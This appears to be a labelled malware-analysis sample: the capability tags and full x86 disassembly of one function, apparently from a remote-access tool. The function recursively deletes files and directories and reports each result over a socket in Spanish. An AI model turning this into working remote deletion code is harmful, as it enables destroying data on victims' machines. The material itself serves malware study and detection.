Function at 0x402274
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Send data
Send data on socket
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x28c
mov eax, esp
mov esi, eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
add eax, 0x103
mov dword [ebp - 0x1c], eax
lea edx, [eax + 1]
mov eax, 0x10
dec eax
add eax, edx
mov dword [ebp - 0x280], 0x10
mov edx, 0
div dword [ebp - 0x280]
imul eax, eax, 0x10
call fcn.0041c838
sub esp, eax
lea eax, [esp + 0x10]
add eax, 0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcpyA
sub esp, 8
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], 0x42572c
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x16c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_FindFirstFileA
sub esp, 8
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x402324
cmp dword [ebp - 0x24], 0xffffffff
jne 0x402622
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_FindClose
sub esp, 4
mov bl, 0
jmp 0x402658
mov eax, esp
mov edi, eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
add eax, 0x104
mov dword [ebp - 0x27c], eax
lea eax, [ebp - 0x16c]
add eax, 0x2c
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
add eax, dword [ebp - 0x27c]
dec eax
mov dword [ebp - 0x28], eax
lea edx, [eax + 1]
mov eax, 0x10
dec eax
add eax, edx
mov dword [ebp - 0x280], 0x10
mov edx, 0
div dword [ebp - 0x280]
imul eax, eax, 0x10
call fcn.0041c838
sub esp, eax
lea eax, [esp + 0x10]
add eax, 0
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcpyA
sub esp, 8
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x16c]
add edx, 0x2c
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov dword [esp + 4], 0x42572e
lea eax, [ebp - 0x16c]
add eax, 0x2c
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
je 0x402427
mov dword [esp + 4], 0x425730
lea eax, [ebp - 0x16c]
add eax, 0x2c
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
je 0x402427
mov eax, dword [ebp - 0x16c]
cmp eax, 0x10
jne 0x402427
mov al, 1
jmp 0x402429
mov al, 0
test al, al
je 0x40244e
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], 0x42572a
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call fcn.00408af7
lea eax, [ebp - 0x16c]
add eax, 0x2c
mov dword [esp], eax
call fcn.00401c15
sub esp, 4
test al, al
je 0x4024ea
lea eax, [ebp - 0x16c]
add eax, 0x2c
mov dword [esp], eax
call fcn.00401aa6
sub esp, 4
mov eax, dword [ebp - 0x16c]
cmp eax, 2
je 0x40249f
mov eax, dword [ebp - 0x16c]
cmp eax, 2
je 0x40249f
mov eax, dword [ebp - 0x16c]
cmp eax, 2
jne 0x4024b5
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], pe_nt_image_headers32
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sub.KERNEL32.dll_DeleteFileA
sub esp, 4
test eax, eax
setne al
test al, al
je 0x402614
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_FindClose
sub esp, 4
mov bl, 1
mov eax, 0
jmp 0x402619
mov eax, dword [ebp - 0x16c]
cmp eax, 2
je 0x40250b
mov eax, dword [ebp - 0x16c]
cmp eax, 2
je 0x40250b
mov eax, dword [ebp - 0x16c]
cmp eax, 2
jne 0x402521
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], pe_nt_image_headers32
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov eax, dword [ebp - 0x16c]
cmp eax, 0x10
jne 0x40253a
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sub.KERNEL32.dll_RemoveDirectoryA
sub esp, 4
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sub.KERNEL32.dll_DeleteFileA
sub esp, 4
test eax, eax
setne al
test al, al
je 0x4025be
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.___Borrando_item__s__
lea eax, [ebp - 0x271]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
lea eax, [ebp - 0x271]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x271]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_FindClose
sub esp, 4
mov bl, 1
mov eax, 0
jmp 0x402619
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.___Error_al_borrar_item__s__
lea eax, [ebp - 0x271]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
lea eax, [ebp - 0x271]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x271]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov eax, 1
mov esp, edi
cmp eax, 1
jne 0x402658
jmp 0x402623
nop
lea eax, [ebp - 0x16c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_FindNextFileA
sub esp, 8
test eax, eax
setne al
test al, al
jne 0x402339
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_FindClose
sub esp, 4
mov bl, 0
mov esp, esi
mov al, bl
jmp 0x40266c
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 4